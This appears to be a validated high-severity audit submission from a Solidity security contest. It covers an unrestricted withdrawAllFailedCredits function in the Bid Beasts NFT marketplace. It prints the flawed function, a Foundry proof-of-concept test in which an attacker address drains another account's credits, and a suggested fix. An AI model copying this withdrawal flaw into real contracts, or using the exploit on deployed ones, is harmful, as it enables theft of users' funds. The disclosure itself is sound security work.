Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

ETH transferred without address checks

cryptomv3

ETH transferred without address checks

Description

  • Function BidBeastsNFTMarketPlace::withdrawAllFailedCredits() allows users to withdraw funds that failed to be transferred directly, but do it without any address checks.

// This function doesn't have any address checks for _receiver
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
​
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

Anyone can directly execute the BidBeastsNFTMarketPlace::withdrawAllFailedCredits(receiver) and withdraw the receiver's failedTransferCredits.

Impact:

Anyone can withdraw any user's failedTransferCredits.

Proof of Concept

For testing the payout failure logic used the mock RejectEther contract from BidBeastsMarketPlaceTest.t.sol

function testMaliciousWithdrawAllFailedCredits() public {
address attacker = makeAddr("attacker");
uint256 failedTransferCredits;
​
_mintNFT();
_listNFT();
vm.deal(address(rejector), 20 ether);
​
vm.startPrank(address(rejector));
market.placeBid{value: 10 ether}(0); // Failed transfer credits
vm.stopPrank();
​
failedTransferCredits = market.failedTransferCredits(address(rejector));
console.log("Attacker balance:\t\t", address(attacker).balance);
console.log("Contract Rejector balance:\t", address(rejector).balance);
console.log("Failed transfer credits:\t", failedTransferCredits);
​
// Withdraw the rejector's failedTransferCredits to the attacker's address
vm.startPrank(attacker);
market.withdrawAllFailedCredits(address(rejector));
vm.stopPrank();
​
console.log("Attacker balance:\t\t", address(attacker).balance);
​
assertEq(address(attacker).balance, failedTransferCredits);
}

Recommended Mitigation


Consider introducing checks for msg.sender to ensure the recipient of the money is as intended.

function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "Not receiver")
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
​
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.